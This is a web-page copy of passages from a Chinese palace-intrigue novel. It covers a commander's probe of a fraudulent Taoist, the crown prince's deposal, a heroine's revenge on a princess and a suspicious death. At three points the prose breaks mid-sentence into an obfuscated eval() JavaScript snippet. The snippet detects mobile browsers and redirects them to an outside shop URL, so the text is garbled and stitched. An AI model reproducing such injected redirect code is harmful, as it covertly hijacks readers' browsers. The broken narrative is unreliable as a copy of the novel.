陆邈目光锐利的看着眼前的这位鼎鼎有名的青云道长,他在民间极具声望,百姓对他可谓是信任有加,但是这样一个人,陆邈却总觉得他像迷雾般,始终让人琢磨不透。 “顾大人......”青云道长想了会。 “大理寺少卿顾炳春,道长可有印象?” “顾炳春,你说的是他,确实如此,当日顾夫人半夜来找贫道,说顾大人每到半夜就会做噩梦被惊醒,贫道记得当时还曾去顾府做过一场法事,当场就把那恶鬼给驱除了。”道长嘴角向上笑了笑,一张眉目慈祥的脸,看上去十分和善。 “顾府确实有鬼魂?”陆邈难以置信,什么鬼不鬼的他还不知道,他就是专门与孤魂野鬼打交道的,这人当着他的面居然可以大放厥词,真是面不改色心不惊。 青云道长眉眼带笑微眯着双眼看着陆邈,那笑看起来不正不邪的说道:“怎么,你不信?” 他不动声色的大量了陆邈一会:“是真的有鬼,当晚驱鬼的时候,顾府上下可都是看见了,那可是厉鬼,非常的厉害。” “道长既然把厉鬼镇压了,那道长可知道,顾大人,死了。” “他是被水鬼拽下荷花池中央,淹死的。”面对此人,只能慢慢耗干他的耐心,看看能不能从中找到一点点突破口。 “死了?”青云道长神色依旧不改道:“这贫道就不知道了,贫道去顾府做法驱鬼的时候还是上个月的事情,也许,是顾大人自身阴气重,招鬼呢?” “那顾府之中所有人都没事,偏偏厉鬼只找顾大人一人,这又怎么解释?”陆邈看着此人到底要怎么圆这谎话。 青云道长再次盯着陆邈看了一眼,“大人,您今日过来,不是求神问卜的吧,你是怀疑是贫道杀了顾炳春顾大人吗?” 他继续说道:“贫道与顾大人无仇无怨,为什么要杀顾大人,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆邈脸色阴沉的看着青云道长,要是以往恨不得拔刀,一刀杀了此人,可是现在,他不能这么做,窗外这么多人看着呢?而且带着一份满怀希望的脸,他不能破坏这群人的希望,那和杀了他们没什么差别。 陆邈起身,最后冷冷的看着青云道长一眼,便转身扬长而去。 “跟我斗,你还嫩了点。”青云道长露出狰狞的本色,对着一旁的小道士说道:“落尘,你跟上去看看,看看他们到底走远了没有。” 落尘低头说道:“是。” 陆邈躺在塌上冥思苦想许久,镇妖司就是他的家,一年三百六十五天,他大概有三百多天都会夜宿镇妖司,所以镇妖司夜间根本就不需要安排人手值班,有陆邈在,谁人胆敢夜闯镇妖司,那简直是不要命了。 “指挥使,属下按照您的吩咐,蹲在青云观盯着青云道长,果然如你所想,青云道长的背后果然有人。”温飞知道陆邈现在肯定夜宿镇妖司,所以就直接来到镇妖司禀报之后,再准备回家。 “您猜猜,青云道长背后之人是谁?”温飞想此人陆大指挥使肯定猜不到,因为就连他自己都没有猜到,先前一直以为是国师大人,没想到,却冤枉了国师大人,温飞心里为自己的小人之心感到抱歉。 陆邈森寒的眼神,看了眼温飞,看得温飞以为自己犯了什么大错似的,连忙说道:“算了,大人肯定猜不出是谁。” “是太子。” “太子?” “属下跟随青云道长一路,最后看到青云道长进了太子府邸。”温飞心里也觉得奇怪,太子可是储君,怎么会和这个神棍搅合在一起? 实属可惜,未来的国君居然和一个神棍一起欺骗自己国家的百姓,真是可悲。如果不是他亲眼看到这一幕,都不敢想象,如今的世道居然变得这么的腐败。 看着陆邈和自己刚开始看到的一样的沉默不言,温飞心里知道,大人心里肯定和自己一样的痛苦吧,虽然他表面表现得冷冰冰的,不近人情,但是,其实内心深处还是热的,他也不会想到,太子居然会做这种事吧。 “我知道了,你先回去吧。”陆邈声音低沉,烛光照耀在这张鬼面上,显得异常恐怖,温飞刚开始见的时候,也内心忐忑不安,后来见多了,也就习以为常了。 只是有的时候也会如常人一样,好奇大人这张鬼面下到底长着一张怎么样的脸,是英俊潇洒呢?还是已经年过中旬? 人有的时候就是这么奇怪,明明知道这样想是不对的,但就是内心深处充满了好奇,温飞也是一样。 “是,大人。” 温飞转身,走了几步,再次回头看见陆邈已经躺在塌上闭上了双眼,他摇了摇头,就大步朝着门口走去。 “大人真的就不担心,如今太子收刮民脂民膏,迟早有一天,圣上是会知道的,到时候,太子的太子之位必定保不住了,如果太子倒台,那么下一个,又是谁会成为新的太子呢?” 温飞想了想,“二皇子是所有的皇子里面身份最为高贵的,他的母后是王后,舅舅是手握十万大兵的国舅爷,难到太子最终会是落到他的手中吗?” 这是温飞实在不愿意看到的,太子虽然收刮民脂民膏,但是身性温和,对待周围大臣也是以礼相待,但是二皇子却完全是个相反的性格,他暴躁易怒,对所有人都看不起,这样的人,真的适合做西晋的国君吗? 温飞突然觉得自己对如今的这个国家有些淡淡的失望,他安慰自己道:“大不了,到时候就辞官,带着娇娇一起隐居,过着安安静静地田园生活。” 36. 被废 时隔一个多月,雪微像往常一样再次来到公主府,看着曾经的仇人淑宁公主如今半身不遂形如枯槁般的躺在床上,雪微心中并没有感到半分畅快。 “淑宁,当年你和雨菲一起设计我,把我推下悬崖的时候,你可曾想过,我也会像你如今这番模样,每时每刻都是煎熬。” 如今的淑宁早已经没有当年半分公主的模样,失去了健康的身体,常年忍受病痛的折磨,就算再怎么意气风发的人,也会变成现在这番人不人鬼不鬼的模样吧。 “公主,该起来喝药了。”雪微端着一碗黑漆漆的药水,闻起来就感觉泛着苦味,极难下咽,这是她特意为淑宁调配的,就是为了让淑宁每时每刻身心如同炙火般灼烧。 从刚开始的吵吵闹闹,时不时的脾气暴躁,到如今如同死寂般沉默,雪微知道,淑宁这是心存死志,对继续痛苦的活下去已经丧失了希望。 “就这么让你死去,真是便宜你了。”雪微心生一计,“既然你想死,那我为何不好好利用你一番呢?” 雪微看了看床上躺着的淑宁公主,嘲笑道:“公主这样不吃不喝,就这么想死吗?”眼见她还是一动不动的沉默,不搭理人,雪微又刺激道:“公主难道不想知道害你成为如今这副鬼样子的人到底是谁吗?” 见她还是无动于衷,雪微摇了摇头,笑道:“公主还是好好想想自己的家人,小郡主那么的可爱,你要是就这样被打倒了,死了,只会让亲者痛,仇者快。” “你想怎样?” 淑宁刚才呆滞的眼神突然间变得凶狠起来,“我都已经成了这幅模样,你们为什么还不放过我,我只不过是一介废人,又拿什么和那些人斗?” “既然斗不过,那还不如早早的死去,这样的世界,看起来,让人真的很烦。” 这个人还是往日心高气傲的淑宁公主吗?不,不是了,人一旦丧失了心气,就像身体丢失了灵魂般,只剩下这幅破败不堪的躯壳。 如果想要让她重新获取继续活下去的勇气,只有激起她心中的那点母爱的保护欲,雪微相信作为一个母亲是不会亲眼看着自己的亲生孩子坠入万丈深渊,那只会是比让她自己死还要难受上百倍。 “公主就算不为自己着想,也要为小郡主着想着想,她才十岁就要承担你们这些大人该承担的这些事,看着自己的母亲整日要死不活的样子,她难道内心深处就没有一丝疼痛与自责。” 雪微继续说道:“公主难道就不想把背后害你给你下毒之人给找出来,公主可有想过,到底是什么人会希望你死,你死了,她又能够得到什么?” “如果你死了,他们又会不会使用同样的手段来害小郡主,难到这些公主都没有好好想想吗?” 她又沉默不语,雪微趁着她发呆的片刻,快速替淑宁清理好了小腿上面的腐肉,这是她自己趁大家不注意的时候,自残的行为。 想不到往日高高在上的公主,如今却不如一条狗快活。 “本宫,要好好的活下去,让那些伤我害我之人,不得好死。”淑宁咬牙切齿,曾经姣好的肌肤,如今却变得无比蜡黄,三个月的时间,足足可以让一个人的气质变得完全不像此人。 “公主说得对,要让那些害您成为如今这幅模样之人受到惩罚,所以你得好好活着,至少要活得比那些人长,对吧。” 仇恨可以激起一个人的斗志,当年师父就是这样用仇恨激起了雪微心中的斗志,让她觉得此生,活着的唯一目的就是为了复仇。 淑宁端起碗,一口气把碗中的草药喝个精光,刚才还是一副病恹恹死气沉沉的模样如今立马却变得斗志昂扬,果真只有改变一个人的脑子才可以彻底改变这个人。 “母亲,白大夫说你终于肯吃药了。”静宜看着母亲吃药,心中的石头终于落了下来,往日的母亲是多么的意气风发,可现在却变成了这幅模样,这三个多月以来,她每时每刻都承受着身体与精神的双重折磨。 这种看不到希望的折磨让一个年仅十岁的孩子过早成熟,独自一人撑起了一个家。 “白大夫,我母亲又不吃药了,我到底该怎么办?”她摇头责怪自己没有听从父亲的叮嘱好好照顾母亲,心里痛苦却又无处宣泄,眼泪汪汪的看着雪微,这么小就要承担起这一切,雪微心中那份坚定不移的仇恨之心在看到小郡主的时候突然有些动摇。 “不能动摇,绝不能动摇,这是淑宁自作自受,应得的报应,她害了那么多人,让那么多人家破人亡妻离子散,天道轮回,如今也该轮到她了。” 雪微看着眼前这个十岁的小女孩,你要是知道自己的母亲做的那些事,你又会怎么做?贵族的命是命,平民的命难到就不是命吗? 她平心静气,面不改色道:“郡主放心,草民会让公主喝药的,郡主就安心的在堂外安心等候。” 这些人欺压别人的时候心中没有一丝愧疚,如今轮到自己了就变了一副嘴脸,对于这些官宦子弟,雪微心中并不会觉得可怜,天底下比他们可怜的人太多了。 她抬眼看着母女情深的戏码,一晃昨日自己还躺在母亲的怀中一样,“母亲,很快,很快,我就会把曾经伤害过您的人送入地狱,你再等等我。” ...... “姐姐找我有什么事?”林江听闻雪微来到府中便马不停蹄的从军中赶了回来,连衣服都没来得及换就直接来到前厅见雪微。 他看着雪微一身洁白如雪,似仙女下凡,不经意间竟然慌了神。 “小峰,趁现在风平浪静,你赶紧离开京城这个是非之地,走得越远越好。”不是她想赶小峰走,只是照目前这个情形,小峰如果继续留在京城迟早会卷入是非之中,这由不得他。 雪微不想看着眼前的这个意气风发的少年因为自己去做些违背自己原则和底线的事情。 “姐姐为什么赶我走,难道姐姐觉得我留在这里会拖你后腿?”林江知道雪微之所以赶他走是因为不希望看到他卷入京城的是非之中,但他身为大将,这是迟早的事,只要能够帮助姐姐复仇,哪怕失去所有,又有何妨,本来自己的命就是姐姐救的。 是姐姐给了自己一个安稳的家,林江不想放弃。 “不是。”雪微看着眼前这个少年,过了半晌,才道:“太子,要倒台了。” 林江立刻便明白了雪微言语中的意思,“太子倒台是姐姐计划中的一环?” “是。”雪微继续说道:“太子一倒,京城必将陷入风波之中,你留在这里,只会被卷入其中的。” “我不怕,只要能够保护好姐姐,让我做什么都可以。” “如果让你投靠二殿下呢?”雪微试探性问道,她知道二殿下此人风评不是很好,但是照目前的形势而言,太子一倒,二皇子殿下才是最大利益获得者,至少明面上是最有希望成为太子的人。 “二殿下?”林江脸上闪过一丝不屑,这抹轻蔑很快就被雪微察觉出来,林江道:“姐姐,让我投靠二殿下是姐姐心中所想吗?” 他皱了皱眉头,看了看雪微的表情,继续说道:“二殿下此人阴狠手辣,如果这是姐姐心中所想,那么我愿意为了姐姐去接触接触这个人。” 雪微的脸色变了变,她就知道小峰会为了她做些违背他原则的事情,这也是她最不希望看到的。 “不,姐姐不希望你为了我去做你不愿意做的事情,只是太子殿下一倒,京城之中最有可能坐上太子之位的这个人就是二皇子殿下,到时候如果他派人来拉拢你,难到你有拒绝的余地吗?” “我只是希望你暂时远离京城,等风平浪静之后再回来。” 她看着小峰,这是她在这个世上为数不多的亲人了,她不想看到他受到任何的伤害,更加不想失去这个弟弟。 “我明白了。”林江走过来一把抱住林雪微:“姐姐,不管局势怎么变化,我都不会离开京城,更加不会离开你。 “你就放心吧,我自有解决之道,不会让你为难的。” 他心想:“姐姐,我此次回来,一是为了留在你的身边保护你,二是择一明主再创林府辉煌。” “姐姐,我一定会为林家洗清冤屈的,一定会让林氏族人沉冤昭雪。” 当年他被送往乡下的庄子里被迫与雪微分开,从那个时候起,林江心中就暗自发誓,总有一天要光明正大的站在林雪微面前,后来听闻林氏一族一夜之间惨遭屠杀全族被灭,在那一年,他曾经回到了京城,可惜一切都物是人非。 宁王府被大火吞灭,所有的一切都化为乌有,他好不容易才拥有的家人,现如今却全都失去了,姐姐,你为什么不等等我? 在他希望快要破灭之时,一个黑衣人救下了他并对他说林雪微还活着,如果你想再次见到林雪微就去参军,等你有能力有资格保护她的时候,自然就会见到她。 为了能够见到雪微姐姐,林江便拿着黑衣人的信件投靠了纪将军的旗下,这一晃十三年过去了,黑衣人果然没有骗他,雪微姐姐果真还活着。 为了这一天,他等了十三年,他必须牢牢抓住,自然是不会轻易舍弃。 “姐姐,庆安王宇文昌前几日来军营找过我。” “他找你?” 宇文昌找小峰做什么,难到是想拉拢小峰?雪微心中充满了疑惑,小峰如今在京城可谓是赤手可热战功显赫的将军,宇文昌想要拉拢他也实属正常,不过这也太急功近利了些吧。 “恩,他找我喝酒,说是为了恭贺我,给我道喜。” 宇文昌这个人表面上看上去是一副与世无争的纨绔子弟,但林江每次与此人接触总感觉有些不对劲,也不知是不是自己多想还是怎么了,就是看见此人就觉得很不舒服。 “找你喝酒?”雪微一脸质疑,找小峰喝酒,这到底是喝酒还是想通过喝酒来拉拢人心,“宇文昌这个人,心思深沉,小峰日后接触此人还是小心谨慎些。” “知道了。”林江心中不知怎么的居然有些愉悦:“姐姐,那你呢?你每天和他相处在一起,会不会被他发现什么?” “我们只不过是假夫妻而已,等我为林家报完仇,就会离开京城。”雪微仔细想了想,此事告诉小峰也没什么,毕竟本就是假夫妻,离开是迟早的事。 林江点了点头,嘴角若有若无的往上翘:“原来如此。” 一直都知道雪微成婚是不得已,是假的,今日听到雪微亲口说出,林江心中的担忧总算是落地了,先前还担心雪微日久生情,时间久了,假的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892858|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也成真的了。 现如今,林江心里十分笃定,姐姐不喜欢那个庆安王宇文昌。 ...... 日子过得飞快,眼看离太子成婚只有三日,可就在这一天,太子居然被废了。 一夜之间,太子被废的诏令在京城传得沸沸扬扬。 “听说了吗?说是太子与青云道长勾结,私自收取贿赂,贪赃枉法,德行有亏,王上实在是看不下去了,所以直接罢免了他。” “哎,真是的,堂堂太子,干嘛贪赃枉法,这下倒好了,偷鸡不成蚀把米,自己让自己陷进危机之中。” 众人人云亦云,雪微听了这些传言,心中也觉得奇怪,青云观的背后之人明明是国师,怎么现如今却成了太子,虽然太子被废是迟早的事情,不管是什么理由,只不过雪微觉得有些可惜,本来想放长线掉大鱼,这下倒好,全被搅浑了。 太子被废,那么张将军的女儿张芝芝与太子的婚约自然也就作废了,王上也说不出什么话来。 张府张将军今早听闻太子被废,心中也觉得很惊讶,明明还有三日就要成婚了,这关键时刻,太子居然被废了,他想起半个多月以前一个小子闯进了他的书房对他说的那些话,难到太子被废是他的杰作。 “简直是胡闹。” 虽然张勇不是很看好太子此人,但是也绝不想看到二皇子殿下坐上太子之位,这个人身性残暴,再加上自己的母后是王后,只会让此人更加的噬无忌惮,张勇突然对西晋的未来感到有些担忧。 如果二皇子殿下真的成为了西晋的王,那么天下怕是没有太平的日子可过了,这是张勇实在不想看到的。 “爹,听说了吗?太子被废了。”芝芝来到张勇书房,今日一早听闻太子被废的消息,不知为何,她心中居然有一丝开心,虽然大家对她指指点点说她克夫,但只要能够不嫁给太子,旁人说啥对她都没啥影响。 太子被废,受影响最大的就是芝芝,成婚前几日居然发生了这样的事情,虽然解决了张府与王室联姻的危机,却让芝芝落下了一个克夫的骂名,以后会有哪个人家敢娶她? 张勇一筹莫展,心中时常觉得亏欠。 “芝芝,你要不要先离开京城,去外地避一避?” “爹爹,如今太子被废,我与太子的婚约自然作罢,这是我求之不得的事情,爹爹为何愁眉不展?” 虽然太子被废张芝芝心里感到很兴奋自己终于不用嫁给太子了,但她还是表现的有些失落,因为她不想让外人觉得自己与父亲别有用心。 “芝芝,爹爹没有伤心,爹爹只是觉得以后你怕是不再好找夫婿了。” 张勇的忧心芝芝都看在眼里,她笑了笑:“这样我就可以一直留在爹爹身旁,一辈子不用嫁人了。” “瞎说,女孩子怎么可以一辈子不嫁人呢?这样会被人说一辈子闲话的。” “那就让他们说去吧,反正我不在乎,难到爹爹还会在乎那些人的闲言碎语吗?” 自从圣上下旨让她与太子成婚以来,她就听多了这些冠冕堂皇的话,这些言语之中无不述说着她是多么多么的幸运,居然被太子选为太子妃。 可这份幸运,旁人看着羡慕,但在张芝芝心里却如同时刻悬挂在自己头顶上的一把利刃,她不想嫁给太子,却又不得不嫁给太子。 如今太子被废,还是这些人,他们的言语之中又透露出许多的同情,太子被废一定是因为她克夫,张芝芝想起这些人就觉得无比的恶心,她心里明白爹爹担心的就是这一点,有的时候,一人一口唾沫,都能被淹死人。 可芝芝不怕,左右不过是些不相干之人而已,她又何必为这些人伤神。 “孟大哥会不会已经听说了太子被废的消息,他现在又在哪里?”这一年,张芝芝努力克制自己不去想孟毅,但如今,境遇却不同先前,她与太子之间的婚约已经解除了,她终于可以正大光明的去找孟大哥了。 只不过,一年时间导致很多事情都已经物事全非,听军营的人说,孟毅早在一年前就已经离开了京城,现如今,没有人知道他去了哪里。 “孟大哥,你到底去了哪里呢?” 张芝芝最近总觉得心慌,就算离开京城,但一年了,难到连一封信件都没有吗?还是他根本就不想见到自己,故意隐藏自己的行踪。 “芝芝,有缘自会相见。”张勇每次看到张芝芝坐在秋千架上发呆,心中总是有些愧疚,如果不是因为他的阻挡,芝芝也许和孟毅早已经成婚了吧,也许孩子都已经满地跑了,要怪只怪当时的自己太过于固执。 孟毅好是好,但奈何家境太过于普通,作为父亲,张勇不想把女儿交给这样一个家境太过于普通的人。他是一个男人,自然明白家境对一个男子的重要性,只不过是芝芝的人生太过于一帆风顺,自然是看不出来这些。 虽然当时的自己确实太过于固执,但是张勇并未觉得后悔,如果是放到现在,张勇心中还是不会同意他们两人在一起,除非孟毅能够夺取军功。 芝芝转头看着张勇点了点头,这架秋千是孟大哥亲自给她搭建的,芝芝没事的时候就会坐在秋千架上发呆,现在想想,芝芝觉得这是她与孟毅之间唯一留存下来的东西了。 37. 承诺 “眼下太子被废,最有希望坐上太子之位的人应属二殿下。”陆邈觉得这件事情发生的太过于巧合,怎么会这么巧。 半个月前他开始调查青云观,半个月之后,太子就被废了,且不说太子到底与青云观之事有没有关系,就算有关系,那也应该交由三司进行三司会审,可如今就仅凭圣上一旨圣意。 下手如此之快,连一点风声都没有,而且传旨之人居然还是二殿下,这一系列的动作让陆邈不得不心生怀疑,太子被废之事怕不仅仅与此事有关。 快,准,狠,像极了王后行事的风格,难到此事的背后推动之人是王后,毕竟太子被废,二殿下才是最有可能坐上太子之位的人,这件事对于王后来说是百利而无一害。 “怎么了,垂头丧气的,难不成发生了什么大事?”陆邈看着萧乘风那张眉头微皱的脸色,总觉得他有事藏在心里。 萧乘风抬头环顾四周,见无一人,小声说道:“大人,你听说了温飞的事情吗?” “温飞?”陆邈疑惑道:“你这么一说,我确实好几日都没有看见他了,他怎么了,是家里出了什么事吗?” 自从上次一别之后,确实好几日都没有见到温飞,还以为他是生病了,又或者家里出了什么事,毕竟镇妖司日常业务繁忙,陆邈也并未把这些事放在心上。 “恩,确实是出大事了。” “你就别卖关子了,快点说,出什么事了?”陆邈心中突然有点不安,这几日所有的事情都连到了一起,温飞的事不会也和青云观一事有关吧,毕竟是自己叫他去调查青云观背后之人的。 陆邈总觉得青云观背后之人绝不会是太子,哪有人这么傻,会选择在太子府会面,明知道现在是关键时刻,太子的一举一动时时刻刻都有人关注着。 “温飞的夫人死了,被人杀死的。”萧乘风情绪有些低落,毕竟同在一个部门工作,每天抬头不见低头见的,他的夫人死了,萧乘风自然会有些伤感。 “温夫人死了?” 陆邈有些震惊,难道温夫人之死真的和青云观一事有关,可是那些人为什么要杀了温夫人呢?温夫人和他们又有什么仇? 陆邈百思不得其解,曾经听温飞提起过,温夫人温文贤良,很少出门,怎么会得罪人? “这下温飞可是要痛苦死了,我经常听温飞提起他的夫人娇娇,他应该很爱娇娇。” 萧乘风无奈的叹了口气,想起每次温飞提起温夫人脸上总是一脸的喜悦,可如今,他最爱的人却离他而去,这样的痛苦萧乘风实在是不敢想象。 太子被废了,温夫人死了,这两件事情接二连三的发生,难道两件事情背后真的有什么联系? 难怪最近都看不到温飞的身影,原来居然发生了这样的事? 陆邈沉默了许久,想起来当初刚进镇妖司的时候,一张张熟悉的面孔也渐渐的消失在他的面前,在镇妖司工作的人早就已经把生死置之度外了,日子久了,死的人也多了,陆邈也渐渐变得麻木起来。 可是他也是人,虽然外面的人都称呼他为鬼面修罗,但只有陆邈自己知道,不是这样的,他之所以还继续待在镇妖司,是为了完成一个承诺,完成一个家族世世代代必须要遵守的承诺,他要等,等那个人的出现。 “我知道了,你先下去吧。” “还是这么冷血,不愧是鬼面修罗。”萧乘风心里嘀咕,在还没来镇妖司之前,他就听说过陆邈此人冷血无情,心比石头还硬,那时候萧乘风还不明白,还有心比石头还硬的人,那就不是人,是怪物了。 现如今,他到真的见识到了,听到战友夫人的死亡,没有一丝情绪的波动,仿佛就是个无心之人,萧乘风心里不免有些失望,气呼呼的转身离去。 看着偌大的镇妖司突然之间变得空荡荡的,陆邈发呆了许久,他在这里等待了十年了之久,可是至今为止,都没有见到任何人前来找他,难道是中途出现了什么问题? 当年族长让他带着鬼面来西晋等一个人,说是那个人见到了鬼面自然就会前来找他,这是他们之间的信物,可是整整十年过去了,陆邈依旧没有见到任何人前来找他。 族长说的话从未出过错,陆邈摘下鬼面拿在手中看了许久,到底是为了什么,非要让他在这里一直等到那个人出现。 陆邈心中有些不解,但既然是族长吩咐的,就应该有他的用意,等见到了那个人,也许自己心中的疑惑也就解除了。 这十年以来,他从未回过族里,因为族长吩咐过如果没有等到那个人,叫他也不用再回来,几年前,他还会断断续续收到来自族内的信件,可是这几年,却连一封书信都没有,陆邈有的时候心中也很焦虑,很想回去看看。 但奈何为了遵守族长的嘱托,陆邈这才一直迟迟没有动身。 他来到温飞家,白绸飘扬,寂静而肃穆,堂内除了温飞,客人皆已经散去,陆邈点燃三根香对着温夫人的牌位祭拜,然后转身对着温飞说道:“温大人节哀顺变,请多保重。” 温夫人死了,温飞瞬间苍老了许多,眼下说再多都起不了任何的作用,陆邈突然觉得心中有些许愧疚,内心深处一直有个疑问,温夫人的死会不会与太子一事有关? 陆邈感到局促不安,眼下这个时候,他也不好多问,怕再次勾起温飞的回忆。 “大人。” 与陆邈相处已久,温飞自然看出了陆邈心中的犹豫,他起身,叫住了正准备离开的陆邈说道:“大人,您是不是在怀疑娇娇的死与太子案有关?” 他单枪直入,不想藏着掖着,娇娇是他的夫人,他也很想知道娇娇到底是怎么死的。 一个星期前,温飞按照陆邈的指示前往太子府暗中盯着太子的一举一动,想看看青云道长到底与太子之间有什么勾结,谁知,等他回到家的时候,却发现娇娇已经死了。 娇娇死的那天,并没有任何异常,屋内也没有打斗的痕迹,温飞检查过娇娇的身体,身上连一丝伤痕都没有,他心中觉得奇怪,悲愤让他一度失去理智,现在回想起来,总觉得娇娇的死有些不同寻常? 他再次回到青云观去寻找青云道长,谁知青云道长以及他的弟子等人都消失得无影无踪,温飞这才觉得娇娇的死一定和青云道长有着莫大的关系。 怎么可能这么巧,他刚调查青云道长与太子,结果太子就被废了,青云道长也随之消失,但这一切不过都只是他个人的猜想,并没有任何的证据。 陆邈转身,眼神犀利而深邃,温飞从陆邈的眼神之中看不出任何的想法,他与这个人共事了五年,温飞始终都不了解此人,但他似乎每次都可以看出别人心中所想。 “你刚失去亲人,情绪自然有些波动,这也实属正常,给你放一段时间假,等你休息好了,在回司里工作。” “为什么?”让温飞自始至终没有想到的是陆邈居然宁愿给自己放假,也不愿意去追查杀害娇娇的凶手,难道娇娇是白死了吗? 他不明白,自己好歹也是替司里办事,没想到到头来自己居然落到了这样一个结局。 “你自己也是干这一行的人,难道不明白,凡事都要讲究证据,你有证据证明娇娇是被人所害吗?”陆邈深知自己的言行会给温飞带来伤害,但是他身为镇妖司指挥使,他必须这么做。 “没有人证明娇娇是被凶手杀害的,也许是她自己自杀呢?” 温飞苦苦笑了笑,他在娇娇最后死亡的屋子里查询了许久,确实如同陆邈所言,屋内一切都如同往常一样,没有一丝凶手留下的痕迹,难道真的就像陆邈所言,娇娇是自杀? 不......不可能,娇娇那么怕痛,怎么可能自杀呢? 让温飞觉得奇怪的是娇娇既不是服毒,身上也没有伤痕,简直可以说能够致死的因素都没有,那么娇娇是怎么死的? 陆邈也查看了娇娇的尸体,全身冰凉,人也早已断气,温飞抱有的一丝希望瞬间破灭,能够在陆邈眼皮子底下做手脚的人几乎没有,也就是说娇娇也许真的就像陆邈所言是自杀的。 “真的是自杀吗?”温飞自始至终不敢置信,“为什么?究竟是为了什么?娇娇为什么会自杀?” 他们明明很恩爱,平常也从未吵过架,娇娇为什么会选择抛弃他还有她腹中才三个月不到的孩子,这是温飞始终想不明白的点。 陆邈沉重的拍了拍温飞的肩膀,叹了口气,转身便离开了温府。 他也不知道说些什么,先前他听说温夫人是被人杀死的,可是现如今,结果却与他料想的不一样,可是青云观,太子等所有的事情的时间线都重合到了一起,陆邈不得不怀疑,温夫人的死会不会与青云观太子一事有关。 他左思右想,依旧寻找不出任何的头绪,此事就像个谜团一样,让他百思不得其解。 ...... “少宫主,温飞的夫人死了。” 这段时间,雪微一直派人暗中盯着镇妖司,眼下青云道长消失,太子被废一事在京城引起轩然大波,但温飞的夫人突然死亡却是雪微始料未及的。 “温夫人怎么死的?” “听说是自杀的。”红袖心里虽然有些质疑,但还是一五一十的把陆邈与温飞之间的对话告诉了雪微。 她潜入温府,看见陆邈亲自检查了温夫人的尸体,如果温夫人是他杀的,应该是逃不过陆邈的双眼。 “自杀?” 雪微心中有些疑惑,怎么会这么巧,刚好撞在一起了?她心中有了一个胆大的猜测,趁着天黑来到了温家。 “让我来看看你到底是自杀还是......?” 她推开棺材盖,温夫人确实像睡着了般一动不动的躺在棺材之中,旁人死了,脸色煞白,可是温夫人死了却像睡着了般,着实让人觉得奇怪。 雪微凑近闻了闻,她的身体上散发着一种奇异的怪香,闻起来让雪微始终觉得似乎在哪里闻到过。 “这是......” “百媚香?” “没错了,这确实是百媚香。”师父擅长调制各种香料,雪微曾经听师父说过这世上有一种香,香气迷人,但其实有催情的功效,虽然温夫人身上的百媚香味道很淡,但是依旧没有逃过雪微的嗅觉。 以往每当雪微犯错的时候,师父经常会罚雪微去药炉里闻一百种草药才会放她出来,雪微对这种香料自然也就很熟悉了。 “有趣,温文贤良的温夫人身上居然会有百媚香?” 雪微准备开始检查温夫人身体时,此时灵堂内的白绸突然飘扬了起来,且空气之中伴随着淡淡的百媚香,有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“现如今是关键时刻,修儿只需要忍一时,不需要与那些人计较,自古成王败寇,只要你坐上了王位,那群人要打要杀还不是你一句话的事。” 王后神色沉着,毕竟身处后宫当了十几年的王后,什么样的场面没有见过,不管是后宫还是前朝之人,没有好坏,只有立场不同而已。 “母后教训得是。” 宇文修心中暗自想:“等本王坐上王位,会把这群碍眼之人,杀个精光,真是看着就心烦。” 如今太子之位空了出来,最有能力坐上太子之位的就是修儿,王后看着宇文修,心中甚为欣慰,等修儿坐上太子之位,那么王位便已经触手可得了,如果修儿坐不上太子之人,那么别人也休想坐。 她眼神深邃,跟随宇文渊十几年,却始终猜不出他的想法,明明太子已经被废,宇文渊为何一直拖着迟迟不立太子,难道他有别的想法? 还是宇文渊想立那个女人的孩子为太子,王后心里想了想,“这十几年来,自从那个女人死后,本宫一直讨好你,却始终的不到你的爱,宇文渊,你为何要这么对我,如果你真的要立那个女人的孩子为太子,本宫誓死也会杀了他,让你们全家一起去地狱里相亲相爱吧。” 王后知道宇文渊娶自己是为了得到曹氏一族的支持,如果不是曹氏一族势大,当年宇文渊应该想立宸妃为王后,毕竟宸妃才是他心尖上之人,只是可惜宁王叛国,宸妃居然以死谢罪了。 “你早就该死了。” 她浑身紧绷,每每想起此人就觉得痛彻心扉,死了还要让本宫不得安宁,真是晦气。 “林韵,你哥哥叛国,全族上下已经被王上下旨赐死。” 曹氏一脸得意,看着眼前惊慌失措的林韵,早就恨不得把此人剥皮抽筋。 “不可能,你一定是骗人的,我哥哥怎么可能叛国呢?我是最了解他的,他绝不可能叛国的。” “怎么不可能?”曹氏转手对着林韵重重的甩上一巴掌,五个手指印赫然的出现在林韵的左脸颊上,那掌印之间还泣满了血。 看着楚楚可怜弱不禁风的林韵,曹氏一脸来气:“你这么喜欢装,又是装给谁看?” “王上如今对你早已经厌弃了,要不然过了这么久为什么他不来看你?” “为什么不当面告诉你,两年前你全族上下就已经被灭族,而且他还把你幽禁在这冷冰冰的冷宫?” “林韵,事到如今,难道你还是想不明白吗?林家犯了王上的大忌,功高震主,被咱们这位帝王忌惮了。” 哈哈哈哈哈哈哈哈哈哈...... “他才不会管你们是不是叛国,太平盛世是不需要军功显赫的将军的,要怪就怪你哥哥太过于招摇了。” 